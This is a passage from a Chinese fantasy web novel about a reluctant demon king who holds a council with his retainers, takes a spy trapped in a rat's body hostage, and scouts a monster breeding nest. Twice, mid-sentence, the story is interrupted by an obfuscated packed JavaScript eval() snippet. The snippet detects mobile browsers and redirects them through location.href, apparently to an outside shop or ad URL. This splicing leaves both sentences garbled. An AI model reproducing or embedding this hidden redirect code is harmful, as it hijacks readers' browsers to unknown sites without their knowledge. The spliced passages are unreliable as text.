看来,魔物中也会存在各种各样的个体,卡拉瓦多斯那样富有智慧的存在或许并不在少数,不能太轻视它们了。 叶隐站定脚步,双手插兜,望着头顶簌簌而下的落叶,回道:“不……我既不是人类,也不是魔物。” 略作思考后,他接着道:“生命是具有无限可能性的,在亿万年时间尺度下,任何不可能都会变成可能。” “无限的、可能性……”刚玉喃喃念道。 “从零到一是最难的,但只要做出了这个突破,更大的成就也指日可待。”叶隐说道,“如果你想改变什么,就从你开始,从现在开始。” 刚玉还很迷茫,但她隐隐约约能够意识到,叶隐带她游览这个梦境,并不是纯粹想带她玩那么简单——想想也是当然的,那可是魔王啊!他的一举一动理应都是有深意的!她自认对陛下忠诚,却断然未到值得他专门为自己花心思的地步,一切都必然有更深层次的缘由! 陛下在暗示着什么吗?在期待着什么吗? 刚玉感觉到了肩头的重量,却不明白为什么是自己。 黑曜石远强于她,远比她具有智慧和威望;即使是和她同级的石英,年龄也是她的两倍,是黑曜石无条件信任的属下。唯有她自己,之所以能成为黑曜石的副官,甚至于得到了接近魔王的机会,只是因为有那么一些魔法天赋,并且足够幸运而已。 叶隐说道:“因为小孩子是希望啊。” ——被看穿想法了! 刚玉一窒,下意识反驳道:“可我不是小孩子!我五十岁了!” “喔,那黑曜石多少岁了?” 刚玉掰了掰手指,苦恼道:“这个…大概几千岁……?我不知道,没人知道黑曜石大人究竟存在了多久……” “那你不就是孩子吗?” “……呜。” 叶隐与刚玉渐行渐远,随后,一个披着斗篷的人影从咖啡店旁的行道树后方探出身子来。 他目送两人的背影消失在道路尽头,眼神深邃。 “哟!叶天帝~你这家伙,偷喝咖啡不叫我们?!” 伴随着阵阵说笑,几个身着休闲服的青年从侧方穿过马路而来,扑到了他身上,嬉笑着扯了扯他的头发,“怎么还戴假发,穿这种衣服啊?没听说最近有漫展啊?” “……” 希恩回头看向这帮人,眨了眨眼,面上的冰霜隐隐有松动的迹象。 见希恩没反应,他们渐渐消停了下来,其中一人担忧地看着他:“怎么不说话?不会是穿太厚中暑了吧?” “没什么。”希恩脱下斗篷拿在手里,平静地开口道,“你们来得正好,我们一起回去吧。” 24. 会议 据刚玉所说,只要维持着入梦魔法,梦境世界就是能够自主运行的,它有基于创造者的记忆所产生的自我逻辑,时间流速与外界大致相同。 拉着刚玉爽玩了一整夜后,叶隐依依不舍地脱离了梦境,坐起身来打了个哈欠。 窗帘后方已经一片亮光了,大概是早上八点左右吗? 一晚上都没能令大脑彻底休息,让叶隐的脑子隐隐有些发涨,不过到底是入睡过了,身体肌肉还算放松,没有猝死的风险,很好。 “那只老鼠,应该还没来得及传回情报……” 叶隐迅速起床穿好衣服、把床头柜上那堆零碎一一戴上。将长度已然超过身高的长发从衣领里抽出来时,他莫名感到一种便秘骤然畅通般的清爽,真是奇妙的体验。 他抽空瞥了眼水晶球所化的倒金字塔,见上面已经收录了昨夜刚玉所用的入梦魔法,嘴角勾起一抹微笑。 对方不用传音魔法,不用联络魔法,偏偏用入梦魔法来传递信息,一定是有理由的。叶隐推测,寄宿在老鼠躯体中的刚玉很可能无法自由施展寻常魔法,而入梦魔法之所以能成为特例,一定是和对方寄宿所用的魔法有共同之处——即灵魂的转移。 刚玉提到过,黑曜石的指示是静观其变,说明在它潜入的这段时间里,已经至少传回去一次情报过。在大部分时候,它都被尤利西斯监视着,理论上没有机会做小动作,但有一件事是尤利西斯无法干预的——那就是睡觉!而刚玉也的确有一次睡得极沉,甚至错过了晚饭。 两个线索结合在一起,叶隐已经大致理解对方传递情报的方法了:它大约在身躯睡着后就能够灵魂离体,从而无阻碍地穿过结界,回到它的本体或者是另一具备用躯体中,留下情报后再回来。 刚玉是会睡迟的,说明这个过程并非瞬间就能完成,消耗的时间应该就是灵魂离体的时间,而时间的长短很可能与灵魂移动的距离有关,但它大致还是能在睡眠时间中完成整个流程,加上灵魂的存在本就难以探测,不得不说确实隐蔽性极强。 正是因为夹杂着这样的思考,叶隐才特意拉着刚玉玩了一晚上。它昨晚绝对没有机会传递情报,但之后就不好说了,他必须趁这个档口做出决定,如若不然,黑曜石就会知道刚玉在梦中的所见所闻,而他向刚玉传输的理念也会被影响。 ——离开的时间到了。 换上一身便于行动的劲装,看着全身镜中已然翻天覆地的自己的形象,叶隐神色平静,眼神清明。 他心念一动,一头漆黑长发便随着魔力的升腾慢慢飞扬起来。一股尚且稚嫩、但已经隐隐感觉得到威严的气息在转瞬间扩散开去,整座城中所有人类与魔物都在这一刻感觉到了强烈的注视,不由得面色一肃。 一个不容置疑的声音在所有人心中响起:“尤利西斯,卡拉瓦多斯,希冯,还有…刚玉。” “以上全员,即刻在主厅集合,不得延误。” 【第一次展现魔王威严,时髦值+5。】 “……” 叶隐的神情微微扭曲,幸好系统在他说完后才发出提示音,不然他可能会中途破功。 魔王陛下! 听到叶隐声音的瞬间,天然的臣服与恐惧就压倒了黄鼠,令其瑟瑟发抖。它已经知道如今的魔王陛下相当平易近人,甚至额外宠爱小孩,包括他单方面认为是孩童的存在,但理性的认知和本能的反应,终归是截然不同的两码事。 如果它还在本体中,断然不会因为一句话就动弹不得,但它现在空有强大的灵魂,却只有一具老鼠的身躯,说是任人宰割也不为过。 我、我的身份被公开了,会被杀掉吗?……刚玉惶恐地看着向它靠近的尤利西斯,艰难地吞咽着唾沫。 尤利西斯却无视了它的颤抖,他平静将笼子门打开,伸手放在门口,道:“可以了,笼子什么的已经不需要了吧?上来。” 黄鼠沉默一会儿,探出头来看向尤利西斯,随后慢慢停止了颤抖,一鼓作气地爬上他的肩膀,四只爪子牢牢抓住衣裳。 它控制不住心中的恐惧,但魔王的命令更是绝对不能违反的。无论他看上去多么和善、多么富有爱心,他都始终是那个令万魔臣服的、生杀予夺的王…… “……” 尤利西斯微不可察地叹了口气,他不可能注意不到黄鼠的反应,事实上,他现在的心情可能比对方更加复杂。 这个世界上,没有人比尤利西斯更清楚叶隐本质上是个什么样的人,正是因此,在意识到叶隐正逐步成为真正魔王的现在,旁人只知其在慢慢回到应有的位置上,只有他能体会到,魔王之血将宿主逐步重塑为魔王的过程,是何等的扭曲、令人作呕。 但这并不是叶隐的错,非要说的话,也是筹划了这一切的希恩和他自己的错,更是魔王之血的错。 没关系,一切都会变好的……一定,不会让你在这泥沼中永远挣扎下去。 提起墙上的长剑,一步步踏出房间,尤利西斯眼中闪烁着坚定的光芒。 …… 十分钟后,叶隐从小憩中睁眼,一人两魔一鼠已经在长桌两侧站定,等待他的进一步指示。 “到齐了呢,不错。” 叶隐坐直上身,目光缓缓从所有人身上扫过。他的语气依旧平淡,眼神却比平时更冷、更严肃。 他的目光定格在被尤利西斯放在桌上的鼠身上,抬起下巴点了点,道:“那么,我来介绍一下,这位是刚玉,自称大魔黑曜石的副官,精通魔法,这只老鼠只是它的临时躯体。以后,它就是我们的同伴了。” “吱。”黄鼠叫了一声,以作回应。 “至于它的首领,那位大魔黑曜石……” 叶隐转向立在长桌左侧的那半座肉山,卡拉瓦多斯,语气骤然一沉:“它以发现魔王城中有异常能量为由,派遣刚玉潜入城中探查情报,但它之所以能发现异常,却是因为破坏了魔王城结界的正是它自己……我的猜测没错吧,卡拉瓦多斯?” 黄鼠悚然一惊,欲开口辩驳,可老鼠之身根本讲不出人话。它急得手舞足蹈,请求叶隐主动与它心灵链接,但叶隐只是瞥了它一眼,完全不在乎它的肢体语言。 卡拉瓦多斯平静回道:“吾没有决定性证据,不过,结界被破坏的最大受益人,是大魔黑曜石无误。” “它曾主动拜访过希恩,大约便是在那之后,生出了些别样的心思。”叶隐拨了拨两侧的耳发,散漫地说道,“……不过,别担心,刚玉。我没打算现在计较这件事,毕竟当事人和证据都不在,就算我打算给它安个什么罪名,也得亲自去把它抓过来才行。” “……” “只是——我也不能坐视不理。” 拖了声长音,叶隐接着道:“彼时的希恩和现在的我一样,大抵都是个光杆将军,彼时的黑曜石胆敢对结界下手,如今更不知道敢做些什么,所以,在它证明自己的忠诚之前,就由刚玉来当这个中间人。我们对岩石军团的态度,将取决于黑曜石接下来的行动,以及刚玉在这边的表现……明白了吗,刚玉?” 黄鼠的身体僵硬了很久,才发出一声:“……吱。” “很好,那么黑曜石的事暂时到此为止。” 叶隐迅速转进到下一个话题:“其实,从来到这里之后,我就一直在想一个问题。” “纵观史书,我的才能虽超乎常人,但放在历代魔王之中,却是平平无奇。” 说着,他拿起胸前的倒金字塔,借助它投影出一幕幕画面,其中有些是利用魔法存录下来的真实投影,有些是书籍上的图画;有些明显来自魔物的记载,更多的则是来自人类——但其内容,无一例外都是魔王沐浴鲜血的身姿。 “无论是有记录的历代魔王,还是属于历史断层之前、那些更久远时代的魔王们,他们无一不是世间至强,为何却从来没有完全征服过人类?” “勇者之剑固然是针对魔王的杀器,可从来只有一把,而且唯有勇者能挥舞,如此苛刻的使用条件,依然成功了许多次,原因何在?” 叶隐的目光又一次从所有人身上扫过,其温度比方才更冷,仿佛要将空气冻住:“人类帝国每逢数十年都要遭受重大打击,损失一代甚至数代青年,却依然以与魔物界分庭抗礼之势延续至今,这绝不是幸运与偶然!——但是,你们应该更不愿意相信,是魔物的发展始终落后于人类,才导致屡战屡败。” “在魔法的系统建立起来之前,人类便已经凭借智慧和经验创造了文明,而魔物和魔王之血,诞生的时间都在那之后。”叶隐说道,“我们必须端正态度,即我们才是后来者!而且,不能故步自封,必须在魔法之外的领域同样吸收人类的经验总结,这样才能与他们站在同一起跑线上。” 魔法之外的领域……刚玉神情一肃,它回想起了梦境世界中的所见所闻,深刻赞同叶隐的说法。 “另外,我们必须赢下的不止有战争,还有对真理的追求。”叶隐道,“魔物与魔王之血来自何方?教会为何只庇护人类而不庇护魔物?教会之神是否真实存在,又究竟掌管何等权能?除了祂以外,世界是否存在其他神明?……这些问题,你们回答得上来么?” 一片寂静,无人发言。 叶隐也不是真的想听他们插嘴,自顾自地接着道:“表面上,这些问题似乎与我们的战争毫无关联,但事实真的如此吗?” “人类有他们的神,为何魔物不能有自己的神?” “你们都知道历代魔王是当世最强、不敢反抗他们的统治,却也知道他们无一不身死道消,难道你们就没有想过天外还有天,最强之外还有更强?” 叶隐嗤笑一声:“只会依赖魔王的力量和统治,偏偏魔王的人选又是随机的,不外乎没有一次输得不惨。” 所有人都各自低着头,不知道在想些什么,只有希冯紧紧盯着叶隐,眼中的火焰清晰可见,被魔王之血滋润过的体表鳞片泛着彩光,纵使断去的两臂还没有恢复,其周身依然洋溢着磅礴的战意,只是旁的都当做没有看见。 短暂停顿后,叶隐又换了个话题:“我的情况,你们都知道,不过,我并不打算在短时间内快速觉醒,因为我们在其他方面的准备还严重不足。” “一旦我以魔王的身份公开行动,人类帝国绝对会迅速警觉,甚至让他们比我们更快地集结起来,到时候的下场应该不用我说了。” “不过,也不是没有好消息。”叶隐勾起嘴角,“我旁边这位银发高马尾,尤利西斯,他本来应该是当世承担勇者职责之人,却被帝国暗地里剥夺了勇者头衔,所以如今才会站到我们这边。” 尤利西斯静静站在原地,对叶隐的说法没有任何表示。 勇者被剥夺头衔,这已经是近半年前的事了。帝国大抵也知道这事做得不厚道,从未在全国范围内大肆宣传过,因此这个消息大约只在首都范围内流通,离开了首都圈就没什么讨论度了,偶尔有人提起也只是被当做谣言。 如今正是和平年代,勇者的缺位并未造成太大影响,加上时间还比较短,很多人都没有反应过来——其中也包括本就难以获得帝国情报的魔物。 原来他已经不是勇者了?!刚玉吃了一惊,终于对尤利西斯和叶隐的相处多了一丝理解。 但是,他是什么时候被剥夺勇者身份的呢?既然不是勇者了,怎么还能得到那个“秘密兵器”…… 刚玉终归不是笨蛋,一有了疑心,许多平常的地方便都变得可疑。各种线索在它脑中飞速串联,它逐渐意识到了什么。 魔王陛下……他才不是那个被蒙在鼓里的人!正相反,他们所有人都在联合起来骗自己! 然而,它醒悟得太晚,如今又被严加看管,早已动摇不了现在的形势了,刚玉欲哭无泪,唯有默默团起自己的身体,静默不语。 叶隐悠哉悠哉道:“帝国剥夺他勇者身份的原因,据说是认为,对现在的帝国而言,魔王已经不再是最大的威胁,因此没必要为了对抗那个不知何时才会复苏的魔王,在勇者身上浪费大量资源和关注度。” 他看了看众人的反应,见他们除了沉默还是沉默,耸了耸肩。 “虽然被小瞧了有点不爽,不过这可是敌人千方百计为我们争取来的时间,必须好好利用起来才行。”叶隐笑了笑,“……接下来,说回刚才的‘其他方面的准备’。” “我所问的、关于世界根本谜团的几个问题,不包括所有我们要解决的问题,当然,也没人能保证解决,所以,由我亲自负责。”叶隐敞开四肢瘫在椅背上,大喇喇地说道,“你们也可以理解为是我的好奇心作祟,随便,反正我不打算改变我的计划。” 尤利西斯忽然有种扶额的冲动,但为了叶隐刻意塑造的气氛,他忍住了。 “至于其他事项,比如魔法研究,需要更多人手才能开展,到时候再说。” “总而言之,你们现在有两件事要做。”叶隐坐直身体,伸出两根手指,“其一,为我招兵买马,注意,不要笨蛋;其二,跟在我屁股后面走,听我命令行事,不要质疑我。就是这样。” 他收回手,捻着发丝搓了搓,念道:“好了,饼画完了,接下来说点实际的行动……”他顿了顿,“卡拉瓦多斯驻守魔王城,除了他以外,所有人跟着我,今天就离开,北上。” 什么,离开?! 已经是一条咸鱼的刚玉忽然觉得自己又行了,它一个鲤鱼打挺跳起来,吱哇乱叫,试图让叶隐收回成命。 要是跟着叶隐离开魔王城,它就会离本体越来越远,甚至超过通灵魔法的安全距离!到时候不光是情报传不回去,它自己都回不到本体里了!这时候再不发言就来不及了! “刚才说过的吧,不要质疑我。”叶隐淡淡道。 “……吱。” 盯着桌上的黄鼠,叶隐忽地展颜一笑:“嘛,你表现好的话,我也不是不能给你找其他能用的身体,甚至让你回到本体里,但是,一切都不是无条件的。在达成条件之前,你就安心当你的‘鼠质’吧,别想着逃跑哦。” 啊,终于说出来了……尤利西斯还是忍不住揉了揉太阳穴。 “吱!”黄鼠泪流满面。 魔王陛下是恶魔…… ……但是这样才像魔王嘛! 刚玉的情绪变化看得叶隐想笑,果然魔物都是慕强的吗? 叶隐轻咳一声,平复了心情,随后勾了勾手指,一个玻璃罐从桌子下方飘了上来,轻轻落在卡拉瓦多斯面前,里面一片猩红之色,赫然是先前卡拉瓦多斯交给叶隐的心脏。 “之后离得远,大概顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248506|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得你了,你的心脏还是由你自己来保护吧,也别再轻易交给别人了。”叶隐无意识地用指节敲了敲桌子,“虽然我很想把你带走,但你心无旁骛地当了这么多年管家,应该是有理由的吧?还是不勉强你了。万一下一任魔王诞生的话,还得靠你指引他呢。” 下一任魔王……尤利西斯的眼角抽了抽,在所有人都看不到的地方默默攥紧了拳头。 不会有下一任魔王的,他绝不会让那种事发生,魔王之血必须终结于此! “十分感谢,陛下。”卡拉瓦多斯平静道,并当着所有人的面撕开自己的胸膛,取出罐子里的心脏塞了回去。 刚玉目不转睛地盯着卡拉瓦多斯,在座众魔之中,对方可能是它知晓最多信息的一位,却也是此次魔王城之行中与它交流最少的一位。细细想来,它其实完全不了解对方什么,一切都是道听途说,从来没有拿到过第一手的情报。 几乎没有人知道,卡拉瓦多斯究竟是什么时候成为了魔王的管家,又何以在数次朝代更替中安然无恙,至少刚玉是不知道的。它唯一可以确定的是,卡拉瓦多斯绝对不是一只普通的魔物,而在意识到所有人都在演自己后,它甚至怀疑,对方才是最早发现自己异常的那个人。 “那么,去收拾东西吧,正午前必须出发。”说完,叶隐瞥了刚玉一眼,“至于你,就留在我身边,不许睡觉,也不许离开我的视线。” 刚玉:“……吱。” 【第一次召开内阁会议,时髦值+5。】 【觉醒度:27/100】 【时髦值:26/100】 ……内阁? 这群虫豸算个屁的内阁啊!! 叶隐额头青筋直跳,一瞬间有掀桌的冲动,好在忍住了。 这破系统,今天时髦值倒是给得异常慷慨,而且也基本证明了他获取时髦值的思路是正确的,就是时不时搞他一下心态真的烦……有没有禁言功能啊? 【没有。】 …… 虽然说让众人去收拾东西,不过除了叶隐自己以外,需要收拾行李的只有尤利西斯一个人而已。 卡拉瓦多斯和尤利西斯先后离开,刚玉伸开四肢趴在桌上乘凉,大厅中只剩下了叶隐与希冯两人。 跨过门槛时,尤利西斯回头看了纹丝不动的希冯一眼,他一想到上次放任叶隐与对方独处时发生了什么,便情不自禁地皱眉,直到叶隐给了他一个“放心”的眼神,他才离去。 希冯的眼神就没从叶隐身上离开过,尤利西斯走后,他立刻大跨步地来到叶隐身旁,俯视着懒散躺在椅子上的青年,问道:“你是真心想帮助魔物战胜人类的吗?” “……咳、咳咳!” 叶隐被自己的口水呛到了,他无语地抬头看着希冯,眼中带着些许鄙夷之色。 他之所以特意把话往那个方向说,就是为了防止希冯和刚玉这两个立场不坚定的家伙起逆反心理。刚玉也就罢了,毕竟是被他强制留下的,本质上还是岩石军团的成员,只是临时加入队伍而已,希冯就不一样了,顶着契约之印的惩罚也非得叨自己一口不可,最不让人省心的就是他! 叶隐不着痕迹地瞥了刚玉一眼,这两个家伙同时在场,他肯定不能说得太直白,但刚才那番话,希冯大概是真的没听进去,他还是得解释一下。 “你是不是觉得魔物就应该把人类灭绝?”叶隐反问道。 希冯也不是傻的,他察觉到了叶隐的不满,所以他没有回话,但他的表情就是在说“难道不该那样吗?” “哎……这样,我教你一个方法。” 叶隐拍了拍希冯的左肩,抬手指向他后方,道:“帝国首都就在那个方向,你沿直线走就到了。等进了城,你挨个找到法师协会、教廷、皇宫,把会长、教皇、皇帝、所有皇子皇女挨个杀了,然后把王座打扫干净,给我发条消息,我去坐。” “……” “摆出这副表情,说明你也觉得不可能做到吧?”叶隐叹了口气,“那就别问了,老老实实跟在我后面,不要做多余的事。” 希冯的确觉得那是现阶段不可能做到的事,却不见得永远做不到。有一瞬间,他认真思考了,如果他或者别的什么人真的做到了这些,叶隐又真的愿意坐到那王座上去吗? 叶隐收回搭在希冯肩膀的手,望向窗外那被瘴气削弱过、却仍然炽热的烈阳,沉默一会儿后,开口道:“就像我一开始说的那样,我不想强迫你……现在,我的态度也是一样的。 “我知道的,你心中有怨气,对尤利西斯、对教会、对帝国、对人类……而且,直到你自认为完成复仇之前,恐怕永远也无法消散吧。” 希冯动了动眼珠,凝视着叶隐,后者的话语还在继续: “他们欠你的,你的确有资格去讨回来,即使你已经是魔物而他们是人类,我也不觉得有必要插手。你的痛苦、你的忍耐、你的思考,都是货真价实的,这与你是魔物还是人类、强大还是弱小无关。你是有尊严的,那就理所应当得到尊重。 “人与魔的血仇如今已无从计算,但仅仅对于你一人而言,事情从来都很简单——可是,我必须告诉你,即使杀光所有你看不顺眼的人,你所憎恶的根源也不会消失。 “想要类似的惨剧不再发生,必须用更彻底的力量去改变整个帝国,甚至整个世界。我想,希恩是知道这个道理的,所以才会让你一直忍耐,而现在,我也希望你能够继续忍耐。这绝对不是无能或者懦弱,而是通往真正胜利的必经之路。” 金色龙瞳中的光芒略显黯淡,希冯垂下双眼,叶隐的手却忽然摸上了他的脸。他骤然抬头,在看到叶隐神情的瞬间怔住了。 “我可以向你保证,你的力量不会永远封存,迟早会有用武之地。”叶隐轻声道。 被叶隐的手指触摸的地方在发烫,潜伏在希冯体内的魔王之血在主人的呼唤下迅速活络起来,血肉高速再生的痒意瞬间席卷全身,让希冯不禁瞪大了眼睛,轻轻颤抖。 断去的双臂自截面处以肉眼可见的速度向下生长,从神经到骨骼,从血管到肌肉,最后是皮肤和鳞片……看得一旁的刚玉把手中的大米掉在了桌上,揉了揉眼睛。 “如果我能成功的话,或许未来的某一天,你能以原本的模样走遍世界,而不遭受任何阻拦,乃至异样的眼光……” 手臂的再生很快完成了,但叶隐的动作并没有结束。他站起身来,认真拾掇起希冯的全身,为他的每一个非人的部位施上复合法术。龙角、龙牙、龙爪、龙尾、遍布全身的鳞皮……一个个在魔法的作用下隐藏起来,显露出人类的姿态。 没了遮挡皮肤的鳞片,希冯的身体很快变得光溜溜,他下意识遮住下身,手足无措地站在原地,好在叶隐适时取来一张披风为他遮住身体,又递给他一套衣服——是从希恩的衣柜里拿来的,希冯自己早就没有大小合适的衣服穿了。 “……为了在那时顺利退休,进入到享受生活的节奏,从现在就开始演练吧。” 说着,叶隐为希冯扣上扣子,扎好袖口的绳结,稍微固定了一下乱糟糟的头发,旋即后退一步,打量了后者的新形象几眼,满意地点了点头。 “不然的话,就太浪费人生了,不是吗?”他反问道,脸上带着和煦的微笑。 25. 母巢之外 魔王城中那座集惊悚、血腥、抽象于一体的“花园”,一度给叶隐留下深刻的心理阴影,即使后来更恶心的东西都见得多了,他还是保持了不在卧室拉开窗帘的习惯。 而在离开魔王城后,叶隐逐渐意识到过去的自己还是太年轻。 那座花园,其实已经是被卡拉瓦多斯精心修剪过的模样了,类似的食人植物在魔物界的任何一个角落中野蛮生长,连石头都能被它们的根茎撕碎,树木看上去稍微正常些,但叶片都是紫中带绿,搭配上空中紫红色如血雾一样的瘴气,以及仿佛有生命一般蠕动着的、漫山遍野的地衣,组合成的景象说是地狱的一重也毫不为过。 “好丑,真丑。” 叶隐深深叹气,碎碎念道:“已经超过异域风情的范畴了啊……好想念绿色的植物……哪怕是钢筋混凝土森林都更好看……” 尤利西斯和刚玉都听懂了,他们一个听叶隐讲过原世界的事,一个亲身进入叶隐的梦境世界见识过,只有希冯似懂非懂。 “吱、吱吱%&……” 刚玉坐在叶隐肩膀上,似乎想说些什么,但老鼠的声带完全支持不了它说人话,它叽叽咕咕了一会儿,声音越来越低,最后悻悻闭上嘴。 “别叫了,老鼠的声音离这么近,有点毛骨悚然。”叶隐掏了掏耳朵,“别急,我正在改良联络魔法,已经有苗头了,很快就能完成,到时候你就可以和我们自由交流了。” “吱……”黄鼠垂头丧气。 希冯看了它一眼,从旁解释道:“它在说,前面还有更丑的东西,它建议我们从东边绕过去。” 刚玉和叶隐一同猛回头,叶隐诧异道:“你居然听得懂老鼠说话?” “不算听懂。这家伙本质上是魔物,如果是纯粹的动物,就不存在真正的语言了。”希冯淡淡回道,“不过,肢体语言,还有气味,都是动物语言的一部分,我可以本能地理解那些,偏差不会太大。” 信息素吗?好像也不是说不过去…… 不过,重点是,以希冯这家伙身为魔龙的骄傲,居然真的会愿意理解渺小如鼠的动物的话语,还专门转述出来?! 叶隐觉得这既不科学也不魔法,但不影响他感到欣慰。看来他对希冯的话疗不是全无效果,至少现在,希冯已经愿意在他面前表现出对别人的理解、甚至体谅了,这是个好兆头啊! “?” 希冯完全不理解叶隐的眼神为何忽然变得水汪汪,虽然他并不讨厌被那么盯着,但他总觉得对方是误会了什么。 “‘更丑的东西’是指什么?”尤利西斯冷不丁地问道,“我记得这个方向有很多巡逻的士兵,但没有深入侦查过,是设有据点吗?” 刚玉张了张嘴,做出回答的却是叶隐:“没关系,我就是要往那边走,当然,最好不要杀进去,偷偷潜入就行了。” 潜行?他们一行有三人一鼠,潜行过去风险很大,但叶隐似乎已经做出决定,那只能尽可能降低风险了……尤利西斯微微皱眉。 他通常都是尽力避免与魔物打上照面的,每次出城都把自己包裹得严严实实,甚至会将食人植物的汁液涂抹在斗篷内侧来伪装,但对于有专门的魔物士兵巡逻保护的要地,这种程度的伪装绝无可能蒙混过关。 “那里到底有什么?”尤利西斯问道。 叶隐从来没有出过魔王城,城内不是没有魔物界的地图,可制作并不精致,且已经过时多年,他为什么会知道那个方向有他感兴趣的东西? 叶隐很清楚尤利西斯没有问出的问题是什么,回复道:“上次爆种……啊不,是临时觉醒的时候,我趁魔力充足释放了几个探测魔法,把魔王城周围几十公里扫了一遍,那时候就发现了那个地方,一直想去看看。” 一行人逐渐接近了最外层的警戒线,叶隐挥手为所有人套上隐匿魔法,虽然不能令他们完全光学隐形,但可以为附近的目标施以暗示,大幅度降低他们在别人眼中的存在感。 在意识到离开魔王城的日子已经不远后,叶隐就有意从水晶球中收集了许多可能用到的魔法,夜以继日地加以练习。他内心深处对于魔法还是有些抗拒的,但不得不说,掌握了真正力量所带来的底气,远非盲目自我鼓励的信心可比,若非如此,他也难以下定决心在这个节骨眼上逃离新手村。 他用联络魔法向所有人传音道:“这边不是据点,根据我探测魔法的结果来看,大概是‘军营’一样的存在吧。” 在叶隐展开的心灵感应网络中,所有被列入白名单的人都能听到彼此的心灵传声,这样就不用担心没能掌握二次元神技之“在敌人眼皮子底下商量对策”的他们因为说话声音太大被发现了。 “原来您说的‘很快就能完成’是以小时计的吗……”刚玉终于脱离了有口不能言的尴尬境地,第一句话就是吐槽。 也许那对魔王是理所当然的,但是真的很打击人!让创作一个术式都要改上几百次的它情何以堪啊! 叶隐摆了摆手,“别在意那些细节,说正事。” 刚玉调整了下心态,连珠炮般道:“魔王陛下说的没错,前方应该是一座次级母巢!请看你们脚下的地衣,它们的颜色比普通的种类更粉,这是生长在母巢周围的过渡区的特有种类,由构成血肉菌毯的真菌和特定藻类共生而来。继续往深处走的话,这些地衣会逐渐被真正的菌毯所取代,而在菌毯最为厚实、代谢最为活跃的地方,就是能够源源不断生产出魔物的母巢核心!” 你是导游吗……叶隐悄悄吐槽了一句,点了点头,“嗯,我想看的就是那个,最好再取些标本带走。” 刚玉为难道:“可是,母巢的守备力量很强,而且管理森严,我们现在只是到了外围的外围而已。只有无心的奴仆魔物能进入母巢的能源区,给菌毯提供原料,最深处的核心区则是只出不进,连负责维护巢穴的工人都只能在特定时间进入,想要混进去难上加难呀。” “你不是觉得这种风格很丑吗?有什么有趣的?”希冯问道。 叶隐有意避开这个话题,简单回道:“知己知彼,百战百胜嘛。” 至于谁是己,谁是彼……那就不好说了。 反正,若是能拿到母巢的体积、能耗、物料比等各项数据,勘破魔物的诞生之谜,退可人为建造更多母巢,筹措出更庞大的魔物军队,进可将魔物的命脉拿捏在手里,一念之间让它们绝后也不是不可能。 当然,理想很丰满,现实很骨感,现在想那些还为时尚早,凭借一次探查是不可能把想要的情报都拿到手的。就算如刚玉所说那样进不去核心区域,也无所谓,只要能增进自己对魔物的了解,就算不虚此行。 …… 在叶隐的带领下,众人在山里七拐八弯地绕了半天,终于在太阳完全落山之前停了下来,在一座山头上暂且歇脚。 脚下的地衣已经变成了粉红与血红交杂的颜色,远远看去就像大地的皮肤一般,只是这皮肤仿若染了恶疾,溃烂无比,让人一点儿也不愿多加联想。 一行人藏身在灌木丛中,探出头来看向不远处的下方。在那条山沟的底部,一个藤蔓缠绕的隐秘洞口在密林中若隐若现。 洞口附近没有守卫,也没有人进出,但这是个陷阱,若相信了这副表象,大踏步地走过去,马上就会被藏身在周围山头中的守卫射成筛子——不过,那样的蠢货压根不会有来到这里的机会。 叶隐顶着一圈树叶环视一周,问道:“为什么没人出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254285|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 被叶隐强制在鼠耳上戴了一顶同款头冠的刚玉解释道:“这是个次级母巢,在母巢中不算大,但还是有几十上百个腔室。以这个母巢的构造来说,大部分腔室都位于地下,被孕育出的魔物不会立刻被输送出来,而是会在特定的腔室中再成长一段时间,不是一出生就能自由活动……另外,那个山洞估计不是正门,而是备用出入口,长时间无人进出也是很正常的。” “那什么情况下会使用这个出入口?” 刚玉不是很确定:“比如,在远离正门方向的区域找到了原料的时候,还有紧急召集的时候?” 叶隐摸了摸下巴,“哦……那好像很快就能用到了。” “诶?” 刚玉还在迷糊着,就见尤利西斯抬手指了指另一个方向的山头,它顺着对方的指向看过去,努力瞪大一双鼠眼,终于看清了那几个挪动着的小点儿。 那是一群排着队在林中穿行的魔物,它们如人类一样有着头颅和四肢,只是身躯更加高大肥硕,有近两米高,体重或许逼近一吨。 它们身上没有正儿八经的衣服穿,却有形状一致的生物质铠甲,那很可能是生物改造的结果,因为它们显然大幅度地参考了人类盔甲的形制,乍看上去甚至会以为那是真正的甲胄。 全身上下的特征都极为统一,且列队行动,足以证明它们是批量生产出来的魔物,而且,恐怕就是来自地下这座母巢。 “它们好像拿着什么……”刚玉极目远眺,“……啊,那难道是……” 它们手上拿着、肩上驮着的,是人类的断肢。 ……或者说,尸块。 “要制造魔物,不仅需要血肉,更需要有灵魂的血肉,唯一能满足这点的,就是人类。” 尤利西斯貌似冷静,实则目光森冷地说道:“血肉腐烂到一定程度后,灵魂也会消散,所以材料越新鲜越好,所以那些尸体的颜色还很红润,而且,那只靴子是冒险者常用的款式,他们一定是深入魔物界的人类冒险者……杀死他们的不会是这些魔物,有资格来到这里的冒险者不会有弱者,更不会输给这些肉团,它们只负责搬运尸体而已。” 应该不是因为我们运气够好,才能刚好遇见……也就是说,这样的情况其实很普遍吗?叶隐暗自想道。 